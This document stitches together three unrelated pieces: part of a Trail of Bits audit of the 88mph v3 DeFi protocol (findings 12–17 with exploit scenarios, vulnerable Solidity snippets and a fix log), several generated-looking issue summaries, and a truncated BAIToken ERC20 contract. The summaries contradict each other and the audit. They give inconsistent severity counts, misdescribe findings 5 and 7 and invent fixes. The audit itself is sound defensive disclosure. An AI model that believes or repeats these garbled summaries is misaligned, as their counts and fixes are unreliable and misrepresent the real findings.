tokens. This line of code is very important, yet it lacks documentation.     Figure 12.1: HarvestMarket.sol#L135-142     Exploit Scenario   Developer Charlie adds a new money market. He implements _authorizeRescue but   forgets to add the call to super._authorizeRescue . User Bob accidentally sends tokens to   the money market. Attacker Eve exploits the missing authorization to steal Bob’s funds.     Recommendations   Short term, in all money markets, add explicit comments explaining the importance of the   call to super._authorizeRescue and the importance of disallowing the rescue of all tokens   used in normal operations.     Long term, add documentation and warnings around critical lines of code to prevent   accidental modifications from breaking important security invariants.       function _authorizeRescue(address token, address target) internal view override { super._authorizeRescue(token, target); require(token != address(stakingPool), "HarvestMarket: no steal"); } © 2021 Trail of Bits   88mph v3 Assessment | 30     1 3 . M o d i fi c a t i o n s m a k e t h e s a f e A p p r o v e f u n c t i o n u n s a f e   Severity: Informational Difficulty: Low   Type: Timing Finding ID: TOB-88MPH-013   Target: SafeERC20.sol   Description   The protocol uses a modified version of OpenZeppelin’s SafeERC20.sol . The   SafeERC20.safeApprove function provides some protection against the approve   front-running attack , as it permits an allowance to be set only to zero or from zero . Certain   tokens, like USDT , also provide this protection. However, the 88mph protocol does not   handle approval operations in this way; rather, allowances need to be increased by a   specific value, regardless of the current value. To allow the use of tokens like USDT , which   are not compatible with this system, the 88mph team modified the safeApprove function.   The modified safeApprove function does not offer protection against the approve   front-running attack.     The safeApprove function has been deprecated by OpenZeppelin .         /** @dev Modified from openzeppelin. Instead of reverting when the allowance is non-zero and value is non-zero, we first set the allowance to 0 and then call approve(spender, value). This provides support for non-standard tokens such as USDT that revert in this scenario. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { if ((token.allowance(address(this), spender)) > 0) { _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, 0) ); } _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } © 2021 Trail of Bits   88mph v3 Assessment | 31     Figure 13.1: Modified SafeERC20.sol#L43-63   All uses of safeApprove within the protocol are immediately followed by a call to   transferFrom , making front-running impossible. Therefore, the severity of this issue is   informational.     However, the existence of a function called safeApprove that does not match the expected   semantics of OpenZeppelin’s standard safeApprove is problematic.      Exploit Scenario   Developer Alice uses safeApprove , assuming it is safe and provides some protection   against the approve front-running attack . However, the function is not safe, and users are   vulnerable to the approve front-running attack.     Recommendations   Short term, remove the modified libs/SafeERC20.sol and import   @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol instead. Replace   safeApprove with a custom function with a descriptive name, like   unsafeApproveSupportingNonStandardTokens , and properly document its security   implications and the reasoning behind its use.     Long term, read the references below to better understand the approve front-running   attack, and ensure that it is mitigated throughout the codebase.     References   ●ERC20 API: An Attack Vector on Approve/TransferFrom Methods   ●https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#approve        © 2021 Trail of Bits   88mph v3 Assessment | 32     1 4 . T r a n s f e r r i n g t h e e n t i r e b a l a n c e o f a c o n t r a c t h a s u n i n t e n d e d   c o n s e q u e n c e s   Severity: Low Difficulty: Medium   Type: Undefined Behavior Finding ID: TOB-88MPH-014   Target: YVaultMarket.sol , CompoundERC20Market.sol , BProtocolMarket.sol, HarvestMarket.sol   Description   In several areas of the codebase, a contract's entire balance of a specific token is   transferred (figures 14.1 and 14.2). Any user can control the balance by sending tokens to   the contract. This could be used to manipulate accounting, resulting in a loss of funds.     Figure 14.1: YVaultMarket.sol#L70-72   Figure 14.2: CompoundERC20Market.sol#L90     The transfer performed by the claimRewards function in CompoundERC20Market (figure   14.2) and BProtocolMarket has issues. If a user accidentally sends comp tokens to these   money markets, the tokens can be rescued. However, if claimRewards is called, these   tokens are sent to the rewards address instead. This is inconsistent. Only comp tokens that   were actually transferred by claimComp should be transferred to the rewards address.   Alternatively, disallow the rescuing of comp tokens.     Most of the other transfers have side effects that, while unintended, favor the protocol at   the expense of users who have accidentally sent tokens to a contract. This behavior is fine   if rescuing the tokens in question is not allowed.      Exploit Scenario   Alice accidentally sends comp tokens to the Compound market. The 88mph team calls   claimRewards , which sends Alice’s tokens to the rewards address. Alice realizes her   mistake and does not understand why the comp balance of the Compound market is zero.   She is in distress, believing her tokens are gone. After some communication and   investigation, the 88mph team is able to refund her tokens from the rewards address.   While the issue was mitigated, the transfer of the entire balance, including Alice’s tokens,   has complicated the situation for everyone involved.     Recommendations       actualAmountWithdrawn = stablecoin.balanceOf(address(this)); if (actualAmountWithdrawn > 0) { stablecoin.safeTransfer(msg.sender, actualAmountWithdrawn); comp.safeTransfer(rewards, comp.balanceOf(address(this))); © 2021 Trail of Bits   88mph v3 Assessment | 33     Short term, carefully investigate all operations that transfer entire balances to ensure that   any side effects are intended. Document the side effects and explain why they are   intentional.     Long term, whenever possible, ensure that only the specific amount relevant to the context   of the transfer is transferred. For example, when an amount is withdrawn from the Yearn   vault, transfer exactly that amount. Many functions of external protocols provide a return   value indicating the transferred amount. For situations in which this information is not   available, add an operation that measures the balance before and after the call and   transfers the difference.            © 2021 Trail of Bits   88mph v3 Assessment | 34     1 5 . U s e r s a r e n o t i n f o r m e d o f t h e p i t f a l l s o f u s i n g Y e a r n v a u l t s   Severity: Medium Difficulty: Low   Type: Undefined Behavior Finding ID: TOB-88MPH-015   Target: YVaultMarket.sol   Description   Yearn is inherently more risky than other money markets and requires caution on the   user’s side. The 88mph protocol uses a uniform abstraction over Yearn, Aave, Compound,   and other money markets. Some of Yearn’s implementation details can leak through this   abstraction.     Depending on the state of a Yearn vault, a user making a withdrawal could realize a loss of   funds, or the withdrawal could fail entirely. Before withdrawing from a Yearn vault, users   should check the state of the vault and its strategies to prevent a loss or revert.     A Yearn vault has a number of free tokens, which are not invested in strategies. If the   withdrawal amount is covered entirely by the free tokens, the withdrawal will succeed.   However, if the withdrawal amount exceeds the free token balance, the funds must be   withdrawn from the strategies in the withdrawal queue. If a user withdraws from a strategy   that is operating at a loss, the user incurs the loss ( source ). By default, the loss is capped at   0.01% ( source ). Strategies can also block withdrawals entirely.     For more information on this problem, see finding 10 in the Trail of Bits review of the Yearn   protocol .     Exploit Scenario   Charlie, a user, makes a significant deposit into the crvRenWSBTC DInterest contract. After   maturation, he tries to withdraw his deposit, plus interest, to reinvest it elsewhere. The first   strategy in the withdrawal queue of the underlying Yearn vault is currently operating at a   loss. Charlie’s withdrawal is too large to be covered by the free tokens in the vault. The   strategy is forced to execute the withdrawal and realize the loss. The loss is less than 0.01%   and within the default max loss of Yearn’s withdraw function. Instead of gaining the   promised interest, Charlie incurs a loss of up to 0.01%. Charlie would not have realized the   loss if he had been aware of the idiosyncrasies of Yearn, checked the state of the vault, and   withdrawn at a better time.     Recommendations   Short term, expand the 88mph user documentation to include guidance on using Yearn   vaults and on the associated risks. Refer to the comments on Yearn’s withdraw and   deposit functions, which contain important guidance on their use.     Specifically, inform users that they should consider taking the following precautions:   ●Check the free token balance in the vault. If the number of free tokens covers the   withdrawal, it will succeed.      © 2021 Trail of Bits   88mph v3 Assessment | 35     ●Check the strategies in the withdrawal queue. A user could realize a loss if the   topmost strategies are operating at a loss and the number of free tokens does not   cover the withdrawal.     Consider setting the max loss parameter of Yearn’s withdrawal function to zero. However,   this could block more withdrawals.     Long term, carefully review the documentation of all protocols that the 88mph protocol   interacts with and surface the risks and warnings of using these protocols to 88mph users.     References   ●https://github.com/trailofbits/publications/blob/master/reviews/YearnV2Vaults.pdf   ●Yearns withdraw function is fairly short and easy to understand        © 2021 Trail of Bits   88mph v3 Assessment | 36     1 6 . S p o n s o r p a y o u t u s e s t w o t r a n s f e r s w h e n o n l y o n e i s r e q u i r e d   Severity: Informational Difficulty: Low   Type: Optimization Finding ID: TOB-88MPH-016   Target: Sponsorable.sol   Description   Sponsorable._paySponsor transfers tokens from the sender of the meta-transaction to the   contract itself and then to the sponsor (figure 16.1). Using two transfers is unnecessary and   wastes gas, as a transfer from the sender to the sponsor can be completed in a single step.   Only the caller of transferFrom needs the sender’s approval.     Figure 16.1: Sponsorable.sol#L144-148     Recommendations   Short term, revise _paySponsor to transfer tokens from the sender to the sponsor in a   single step.     Long term, investigate all transfers that are done in sequence and whether they can be   combined into a single transfer.         // transfer tokens from sender token.safeTransferFrom(sender, address(this), sponsorFeeAmount); // transfer tokens to sponsor token.safeTransfer(sponsor, sponsorFeeAmount); © 2021 Trail of Bits   88mph v3 Assessment | 37     1 7 . E R C 2 0 W r a p p e r ’ s t r a n s f e r F r o m f u n c t i o n i g n o r e s t h e s e n d e r a r g u m e n t   Severity: High Difficulty: Low   Type: Undefined Behavior Finding ID: TOB-88MPH-017   Target: ERC20Wrapper.sol   Description   Users calling ERC20Wrapper.transferFrom(sender, receiver, amount) can pass another   user’s address as the sender argument; the function should transfer tokens from the   sender . However, the function ignores the sender argument and instead transfers tokens   from the function’s caller. ERC20Wrapper does not correctly implement the ERC20 standard.     This is caused by a bug in the _transfer function (figure 17.1). The first argument to   parentMultitoken.wrapperTransfer is msg.sender . It should be sender .     Figure 17.1: _transfer function in ERC20Wrapper.sol#L218-230     Exploit Scenario   Alice, Bob, and Charlie are users of the 88mph protocol. Bob has given Alice an allowance   to transfer 1,000 of his ExampleTokens . ExampleToken is a deployed ERC20Wrapper . Alice   calls ExampleToken.transferFrom(bobsAddress, charliesAddress, 500) to transfer 500   of Bob’s tokens to Charlie. Unexpectedly, 500 of Alice’s tokens are transferred to Charlie   instead.     Recommendation   Short term, replace msg.sender with sender in the _transfer function.     Long term, carefully investigate all ERC20 token implementations in the codebase to ensure   that they correctly implement the ERC20 standard.         function _transfer( address sender, address recipient, uint256 amount ) internal virtual { parentMultitoken.wrapperTransfer( msg.sender , recipient, tokenID, amount ); emit Transfer(sender, recipient, amount); } © 2021 Trail of Bits   88mph v3 Assessment | 38     A . V u l n e r a b i l i t y C l a s s i fi c a t i o n s          Vulnerability Classes   Class   Description   Access Controls   Related to authorization of users and assessment of rights   Auditing and Logging  Related to auditing of actions or logging of problems   Authentication   Related to the identification of users   Configuration   Related to security configurations of servers, devices, or   software   Cryptography   Related to protecting the privacy or integrity of data   Data Exposure   Related to unintended exposure of sensitive information   Data Validation   Related to improper reliance on the structure or values of data   Denial of Service   Related to causing a system failure   Error Reporting   Related to the reporting of error conditions in a secure fashion   Patching   Related to keeping software up to date   Session Management  Related to the identification of authenticated users   Timing   Related to race conditions, locking, or the order of operations   Undefined Behavior   Related to undefined behavior triggered by the program   Optimization   Related to unnecessarily expensive operations   Severity Categories   Severity   Description   Informational   The issue does not pose an immediate risk but is relevant to security   best practices or Defense in Depth.   Undetermined   The extent of the risk was not determined during this engagement.   Low   The risk is relatively small or is not a risk the customer has indicated is   important.   © 2021 Trail of Bits   88mph v3 Assessment | 39              Medium   Individual users’ information is at risk; exploitation could pose   reputational, legal, or moderate financial risks to the client.   High   The issue could affect numerous users and have serious reputational,   legal, or financial implications for the client.   Difficulty Levels   Difficulty   Description   Undetermined   The difficulty of exploitation was not determined during this   engagement.   Low   The flaw is commonly exploited; public tools for its exploitation exist   or can be scripted.   Medium   An attacker must write an exploit or will need in-depth knowledge of   a complex system.   High   An attacker must have privileged insider access to the system, may   need to know extremely complex technical details, or must discover   other weaknesses to exploit this issue.   © 2021 Trail of Bits   88mph v3 Assessment | 40     B . C o d e M a t u r i t y C l a s s i fi c a t i o n s        Code Maturity Classes   Category Name   Description   Access Controls   Related to the authentication and authorization of components   Arithmetic   Related to the proper use of mathematical operations and   semantics   Assembly Use   Related to the use of inline assembly   Centralization   Related to the existence of a single point of failure   Upgradeability   Related to contract upgradeability   Function   Composition  Related to separation of the logic into functions with clear purposes   Front-Running   Related to resilience against front-running   Key Management  Related to the existence of proper procedures for key generation,   distribution, and access   Monitoring   Related to the use of events and monitoring procedures   Specification   Related to the expected codebase documentation   Testing &   Verification  Related to the use of testing techniques (unit tests, fuzzing, symbolic   execution, etc.)   Rating Criteria   Rating   Description   Strong   The component was reviewed, and no concerns were found.   Satisfactory   The component had only minor issues.   Moderate   The component had some issues.   Weak   The component led to multiple issues; more issues might be present.   Missing   The component was missing.   © 2021 Trail of Bits   88mph v3 Assessment | 41            Not Applicable   The component is not applicable.   Not Considered  The component was not reviewed.   Further   Investigation   Required  The component requires further investigation.   © 2021 Trail of Bits   88mph v3 Assessment | 42     C . C o d e Q u a l i t y   The following recommendations are not associated with specific vulnerabilities. However,   they enhance code readability and may prevent the introduction of vulnerabilities in the   future.     General Recommendations   ●The use of the term stablecoin throughout is legacy and now confusing.   Consider renaming it to asset or underlying .   YVaultMarket.sol ●The totalValue functions contain duplicated code. Consider having the first   totalValue function, totalValue() , call the second, totalValue(uint256) , with   the parameter vault.pricePerShare() .   AaveMarket.sol ●The totalValue functions contain duplicated code. Consider having the second   totalValue function, totalValue(uint256) , call the first, totalValue() .          © 2021 Trail of Bits   88mph v3 Assessment | 43     D . F i x L o g   On August 17, 2021, Trail of Bits reviewed the fixes and mitigations implemented by the   88mph team to address the issues identified in this report. The 88mph team fixed 11   issues and partially fixed four issues reported in the original assessment. Two issues were   not fixed. We reviewed each of the fixes to ensure that the proposed remediation would be   effective. For additional information, please refer to the detailed fix log .        #  Title   Severity     1  The interest oracle’s money market is not   validated upon DInterest initialization  Medium   Fixed   ( 22901ba6 )   2  Lack of return value check on transfer   and transferFrom  Informational   Fixed   ( d0c47909 )   3  Lack of two-step process for contract   ownership transfers  Informational   Partially fixed   ( 4f4fbc2b )   4  Users cannot specify a minimum desired   interest  Medium   Fixed   ( 2e81c399 )   5  Withdrawing from Yearn to DInterest in a   single step can save gas  Informational   Fixed   ( 07c05247 )   6  Linearization of exponential   compounding could lead to insolvency  High   Partially fixed   ( 6c6cd151 )   7  Initialization functions can be front-run   High   Fixed   ( 66d86f56 )   8  Lack of contract existence check on   delegatecall Informational   Not fixed   9  Inconsistent validation of money markets’   rewards address  Low   Fixed   ( ec665342 )   10  Solidity compiler optimizations can be   problematic  Undetermined  Not fixed   11  Redundant addition of zero value in the   Harvest money market  Informational   Fixed   ( abc5eba1 )   12  Lack of documentation concerning   Rescuable base contract could result in   exploitable modifications  Informational   Fixed   ( cc8bc566 )   © 2021 Trail of Bits   88mph v3 Assessment | 44       D e t a i l e d F i x L o g     TOB-88MPH-001: The interest oracle’s money market is not validated upon DInterest   initialization   Fixed. The 88mph team removed the moneyMarket state variable from DInterest . It is now   fetched from the interest oracle when needed and can no longer become inconsistent.   ( 22901ba6 )     TOB-88MPH-002: Lack of return value check on transfer and transferFrom   Fixed. The 88mph team replaced all calls to the unsafe transfer and transferFrom   functions in the xMPH contract with their safe equivalents. ( d0c47909 )     TOB-88MPH-003: Lack of return value check on transfer and transferFrom   Partially fixed. The 88mph protocol is now using a modified version of BoringOwnable for   the DInterest and Vesting02 contracts. We reviewed the original BoringOwnable contract   and 88mph’s modified version. However, the MPHToken , NFT , and MoneyMarket contracts   still use OpenZeppelin’s OwnableUpgradeable . ( 4f4fbc2b )     TOB-88MPH-004: Users cannot specify a minimum desired interest   Fixed. The 88mph team added versions of deposit , topupDeposit , and rolloverDeposit   that take an additional minimumInterestAmount parameter and revert if the actual interest   is below this parameter’s value. The team also modified the sponsored versions of these   functions to take an additional minimumInterestAmount parameter. ( 2e81c399 )     TOB-88MPH-005: Withdrawing from Yearn to DInterest in a single step can save gas   Fixed. The 88mph protocol now transfers funds directly from the Yearn vault to the caller,   thereby skipping an expensive and unnecessary second transfer. ( 07c05247 )      13  Modifications make the safeApprove   function unsafe  Informational   Fixed   ( bf435bf8 )   14  Transferring the entire balance of a   contract has unintended consequences  Low   Partially fixed   ( 54ad4329 )   15  Users are not informed of the pitfalls of   using Yearn vaults  Medium   Partially fixed   ( c15b12d2 )   16  Sponsor payout uses two transfers when   only one is required  Informational   Fixed   ( 41cb7c43 )   17  ERC20Wrapper’s transferFrom function   ignores the sender argument  High   Fixed   ( 2fdfecf9 )   © 2021 Trail of Bits   88mph v3 Assessment | 45       TOB-88MPH-006: Linearization of exponential compounding could lead to insolvency   Partially fixed. The 88mph team updated all files from Solidity 0.8.3 to 0.8.4 and replaced   the DecMath library with an external library, prb-math , wherever DecMath is used. Finally,   the team updated the calculations for the incoming value (for the calculation of the EMA),   the interest amount for new deposits, and the interest to distribute to yield token holders   making an early withdrawal. While we did check that all updates were made correctly, we   were not able to achieve full certainty that all relevant updates have been made.   Furthermore, the use of a new, unaudited arithmetic library poses risks; we recommend   conducting a security review of prb-math . ( 6c6cd151 )     TOB-88MPH-007: Initialization functions can be front-run   Fixed. The 88mph protocol now uses the hardhat-deploy plug-in’s ability to make a   delegatecall to the logic contract within the proxy’s deployment call. ( 66d86f56 )     TOB-88MPH-009: Inconsistent validation of money markets’ rewards address   Fixed. The 88mph protocol now consistently checks whether the rewards addresses of the   money markets are non-zero addresses. ( ec665342 )     TOB-88MPH-011: Redundant addition of zero value in the Harvest money market Fixed. The 88mph protocol no longer includes the HarvestMarket ’s liquidity token balance   in the total value calculation. The team has properly documented the reasoning behind this   change. ( abc5eba1 )     TOB-88MPH-012: Lack of documentation concerning Rescuable base contract could result in exploitable modifications   Fixed. The 88mph team added comments that warn developers of important security   implications of Rescuable::_authorizeRescue() . ( cc8bc566 )     TOB-88MPH-013: Modifications make the safeApprove function unsafe   Fixed. The 88mph team replaced the unsafe safeApprove function with   safeIncreaseAllowance , which mitigates the approve front-running attack and is   compatible with tokens like USDT . We reviewed the implementation of   safeIncreaseAllowance and its call sites. ( bf435bf8 )     TOB-88MPH-014: Transferring the entire balance of a contract has unintended consequences   Partially fixed. The 88mph team modified the claimRewards function in both the   BProtocolMarket and the CompoundERC20Market contracts. These contracts now transfer   only the amount received by claimComp to the rewards address. The team also modified   the withdraw function in the YVaultMarket contract so that it transfers only the amount   withdrawn from the Yearn vault to the caller. However, the withdraw function in the   HarvestMarket contract still transfers the entire balance of the contract without      © 2021 Trail of Bits   88mph v3 Assessment | 46     documentation of the reasoning or intent behind the transfer. Other undocumented uses   of balanceOf(address(this)) remain. We recommend reviewing all uses of   balanceOf(address(this)) to confirm and document their safety during   attacker-controlled balance increases. ( 54ad4329 )     TOB-88MPH-015: Users are not informed of the pitfalls of using Yearn vaults   Partially fixed. The 88mph protocol now calls Yearn’s withdraw function with a maximum   allowed loss of zero. The integration with Yearn is still risky, and its risks to 88mph users   are still not properly documented. Withdrawals from Yearn can still fail. We recommend   deferring the integration with Yearn at the initial deployment of the protocol and carefully   investigating whether the benefits of an integration with Yearn outweigh the risks.   ( c15b12d2 )     TOB-88MPH-016: Sponsor payout uses two transfers when only one is required   Fixed. The 88mph team modified the code so that tokens are transferred directly from the   sender to the sponsor. ( 41cb7c43 )     TOB-88MPH-017: ERC20Wrapper’s transferFrom function ignores the sender argument   Fixed. The 88mph team modified ERC20Wrapper ’s _transfer function to correctly use   sender rather than msg.sender . ( 2fdfecf9 )        © 2021 Trail of Bits   88mph v3 Assessment | 47  
Issues Count of Minor/Moderate/Major/Critical - Minor: 8 - Moderate: 4 - Major: 3 - Critical: 1 Minor Issues 2.a Problem: The interest oracle’s money market is not validated upon DInterest initialization 2.b Fix: Validate the money market upon DInterest initialization 3.a Problem: Lack of return value check on transfer and transferFrom 3.b Fix: Add return value check on transfer and transferFrom 4.a Problem: Lack of two-step process for contract ownership transfers 4.b Fix: Add two-step process for contract ownership transfers 5.a Problem: Users cannot specify a minimum desired interest 5.b Fix: Allow users to specify a minimum desired interest 6.a Problem: Withdrawing from Yearn to DInterest in a single step can save gas 6.b Fix: Add a two-step process for withdrawing from Yearn to DInterest 7.a Problem: Linearization of exponential compounding could lead to insolvency 7.b Fix: Use a non-linear compounding method 8.a Problem: Initialization functions can be front Issues Count of Minor/Moderate/Major/Critical: - Minor: 4 - Moderate: 5 - Major: 4 - Critical: 4 Minor Issues: - Problem: Lack of validation of the interest oracle’s money market upon DInterest initialization (TOB-88MPH-001) - Fix: Validate the interest oracle’s money market upon DInterest initialization Moderate Issues: - Problem: Inability of users to specify a minimum desired interest amount for new deposits (TOB-88MPH-004) - Fix: Allow users to specify a minimum desired interest amount for new deposits Major Issues: - Problem: Protocol’s assumption that the money market rate will compound linearly (TOB-88MPH-006) - Fix: Consider the impacts of linearizing the input and output of interest rate calculations Critical Issues: - Problem: Lack of validation of the money market rate (TOB-88MPH-007) - Fix: Validate the money market rate Observations: - The codebase is reasonably well structured and includes unit and integration tests - The protocol integrates with several other Issues Count of Minor/Moderate/Major/Critical: - Minor: 2 - Moderate: 3 - Major: 0 - Critical: 0 Minor Issues: - Problem (TOB-88MPH-002): Lack of return value checks on several calls to the transfer and transferFrom functions. - Fix (TOB-88MPH-002): Add return value checks on several calls to the transfer and transferFrom functions. Moderate Issues: - Problem (TOB-88MPH-006): Issue related to the estimation of the money market interest rate. - Fix (TOB-88MPH-006): Improve documentation and testing of the calculations at the core of the protocol. - Problem (TOB-88MPH-008): Lack of a contract existence check on delegatecall in a dependency. - Fix (TOB-88MPH-008): Add a contract existence check on delegatecall in a dependency. - Problem (TOB-88MPH-004): Issue related to front-running. - Fix (TOB-88MPH-004): Improve the code to prevent front-running. - Problem (TOB-88MP
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "./Interfaces/IBAIToken.sol"; import "./Dependencies/SafeMath.sol"; import "./Dependencies/CheckContract.sol"; import "./Dependencies/console.sol"; import "./Dependencies/Ownable.sol"; /* * * Based upon OpenZeppelin's ERC20 contract: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol * * and their EIP2612 (ERC20Permit / ERC712) functionality: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/53516bc555a454862470e7860a9b5254db4d00f5/contracts/token/ERC20/ERC20Permit.sol * * * --- Functionality added specific to the BAIToken --- * * 1) Transfer protection: blacklist of addresses that are invalid recipients (i.e. core Astrid contracts) in external * transfer() and transferFrom() calls. The purpose is to protect users from losing tokens by mistakenly sending BAI directly to a Astrid * core contract, when they should rather call the right function. * * 2) sendToPool() and returnFromPool(): functions callable only Astrid core contracts, which move BAI tokens between Astrid <-> user. */ contract BAIToken is CheckContract, IBAIToken, Ownable { using SafeMath for uint256; uint256 private _totalSupply; string constant internal _NAME = "BAI Stablecoin"; string constant internal _SYMBOL = "BAI"; string constant internal _VERSION = "1"; uint8 constant internal _DECIMALS = 18; // --- Data for EIP2612 --- // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 private constant _PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; // keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); bytes32 private constant _TYPE_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; mapping (address => uint256) private _nonces; // User data for BAI token mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // --- Addresses --- mapping (address => uint) public vaultManagerAddresses; mapping (address => uint) public stabilityPoolAddresses; mapping (address => uint) public borrowerOperationsAddresses; // address public immutable vaultManagerAddress; // address public immutable stabilityPoolAddress; // address public immutable borrowerOperationsAddress; constructor ( // address _vaultManagerAddress, // address _stabilityPoolAddress, // address _borrowerOperationsAddress ) Ownable() { // checkContract(_vaultManagerAddress); // checkContract(_stabilityPoolAddress); // checkContract(_borrowerOperationsAddress); // vaultManagerAddress = _vaultManagerAddress; // emit VaultManagerAddressChanged(_vaultManagerAddress); // stabilityPoolAddress = _stabilityPoolAddress; // emit StabilityPoolAddressChanged(_stabilityPoolAddress); // borrowerOperationsAddress = _borrowerOperationsAddress; // emit BorrowerOperationsAddressChanged(_borrowerOperationsAddress); bytes32 hashedName = keccak256(bytes(_NAME)); bytes32 hashedVersion = keccak256(bytes(_VERSION)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = _chainID(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(_TYPE_HASH, hashedName, hashedVersion); } // --- Events --- event VaultManagerAddressSet(address _vaultManagerAddress, uint _active); event StabilityPoolAddressSet(address _stabilityPoolAddress, uint _active); event BorrowerOperationsAddressSet(address _borrowerOperationsAddress, uint _active); // --- Privileged operations --- function setVaultManagerAddress(address _vaultManagerAddress, uint _active) external onlyOwner { checkContract(_vaultManagerAddress); vaultManagerAddresses[_vaultManagerAddress] = _active; emit VaultManagerAddressSet(_vaultManagerAddress, _active); } function setStabilityPoolAddress(address _stabilityPoolAddress, uint _active) external onlyOwner { checkContract(_stabilityPoolAddress); stabilityPoolAddresses[_stabilityPoolAddress] = _active; emit StabilityPoolAddressSet(_stabilityPoolAddress, _active); } function setBorrowerOperationsAddress(address _borrowerOperationsAddress, uint _active) external onlyOwner { checkContract(_borrowerOperationsAddress); borrowerOperationsAddresses[_borrowerOperationsAddress] = _active; emit BorrowerOperationsAddressSet(_borrowerOperationsAddress, _active); } // --- Functions for intra-Astrid calls --- function mint(address _account, uint256 _amount) external override { _requireCallerIsBorrowerOperations(); _mint(_account, _amount); } function burn(address _account, uint256 _amount) external override { _requireCallerIsBOorVaultMorSP(); _burn(_account, _amount); } function sendToPool(address _sender, address _poolAddress, uint256 _amount) external override { _requireCallerIsStabilityPool(); _transfer(_sender, _poolAddress, _amount); } function returnFromPool(address _poolAddress, address _receiver, uint256 _amount) external override { _requireCallerIsVaultMorSP(); _transfer(_poolAddress, _receiver, _amount); } // --- External functions --- function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _requireValidRecipient(recipient); _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _requireValidRecipient(recipient); _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // --- EIP 2612 Functionality --- function domainSeparator() public view override returns (bytes32) { if (_chainID() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function permit ( address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(owner != address(0), "BAI: owner cannot be address 0"); require(deadline >= block.timestamp, "BAI: expired deadline"); bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator(), keccak256(abi.encode( _PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner]++, deadline)))); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress == owner, "BAI: invalid signature"); _approve(owner, spender, amount); } function nonces(address owner) external view override returns (uint256) { // FOR EIP 2612 return _nonces[owner]; } // --- Internal operations --- function _chainID() private view returns (uint256 chainID) { assembly { chainID := chainid() } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256(abi.encode(typeHash, name, version, _chainID(), address(this))); } // --- Internal operations --- // Warning: sanity checks (for sender and recipient) should have been done before calling these internal functions function _transfer(address sender, address recipient, uint256 amount) internal { assert(sender != address(0)); assert(recipient != address(0)); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { assert(account != address(0)); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { assert(account != address(0)); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { assert(owner != address(0)); assert(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // --- 'require' functions --- function _requireValidRecipient(address _recipient) internal view { require( _recipient != address(0) && _recipient != address(this), "BAI: Cannot transfer tokens directly to the BAI token contract or the zero address" ); require( stabilityPoolAddresses[_recipient] == 0 && vaultManagerAddresses[_recipient] == 0 && borrowerOperationsAddresses[_recipient] == 0, "BAI: Cannot transfer tokens directly to the StabilityPool, VaultManager or BorrowerOps" ); } function _requireCallerIsBorrowerOperations() internal view { require(borrowerOperationsAddresses[msg.sender] != 0, "BAIToken: Caller is not BorrowerOperations"); } function _requireCallerIsBOorVaultMorSP() internal view { require( borrowerOperationsAddresses[msg.sender] != 0 || vaultManagerAddresses[msg.sender] != 0 || stabilityPoolAddresses[msg.sender] != 0, "BAI: Caller is neither BorrowerOperations nor VaultManager nor StabilityPool" ); } function _requireCallerIsStabilityPool() internal view { require(stabilityPoolAddresses[msg.sender] != 0, "BAI: Caller is not the StabilityPool"); } function _requireCallerIsVaultMorSP() internal view { require( vaultManagerAddresses[msg.sender] != 0 || stabilityPoolAddresses[msg.sender] != 0, "BAI: Caller is neither VaultManager nor StabilityPool"); } // --- Optional functions --- function name() external pure override returns (string memory) { return _NAME; } function symbol() external pure override returns (string memory) { return _SYMBOL; } function decimals() external pure override returns (uint8) { return 